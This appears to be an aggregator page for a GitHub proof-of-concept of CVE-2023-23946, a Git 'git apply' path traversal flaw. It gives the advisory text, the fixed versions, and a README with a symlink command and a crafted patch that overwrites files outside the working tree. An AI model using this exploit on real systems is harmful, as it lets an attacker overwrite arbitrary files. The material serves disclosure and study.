CVE-2023-23946 PoC — Git's `git apply` overwriting paths outside the working tree

Source

https://github.com/bruno-1337/CVE-2023-23946-POC

Associated Vulnerability

Title: Git's `git apply` overwriting paths outside the working tree (CVE-2023-23946)
Description:Git, a revision control system, is vulnerable to path traversal prior to versions 2.39.2, 2.38.4, 2.37.6, 2.36.5, 2.35.7, 2.34.7, 2.33.7, 2.32.6, 2.31.7, and 2.30.8. By feeding a crafted input to `git apply`, a path outside the working tree can be overwritten as the user who is running `git apply`. A fix has been prepared and will appear in v2.39.2, v2.38.4, v2.37.6, v2.36.5, v2.35.7, v2.34.7, v2.33.7, v2.32.6, v2.31.7, and v2.30.8. As a workaround, use `git apply --stat` to inspect a patch before applying; avoid applying one that creates a symbolic link and then creates a file beyond the symbolic link.

Description

Explanation and POC of the CVE-2023-23946

Readme

# CVE-2023-23946 POC Exploit
Explanation and POC of the CVE-2023-23946

The CVE-2023-23946 vulnerability is caused by a flaw in the way git handles symbolic links. When git creates a symbolic link, it doesnt actually handle it as a symbolic link and because of that we can exploit it to point to files outside of the working tree.


# First create a symlink
```
ln -s [PATH_YOU_WANT_TO_ACCESS_OUTSITE_WORKING_TREE] symlink
```
# Now create a patch to use with the git apply

```
diff --git a/symlink b/newsymlink
rename from symlink
rename to newsymlink
--
diff --git /dev/null b/newsymlink/spawn
new file mode 100644
index 0000000..e47f4ea
--- /dev/null
+++ b/newsymlink/[FILE_OUTSIDE]
@@ -0,0 +1 @@
+[WHAT_YOU_WANT_INSIDE_THE_FILE]
\ No newline at end of file
```

What does the patch do? We change the name of the existing symbolic link and create a new file. This way, when we modify /newsymlink/[FILE_OUTSIDE] git does not apply its protections against symbolic links.

File Snapshot

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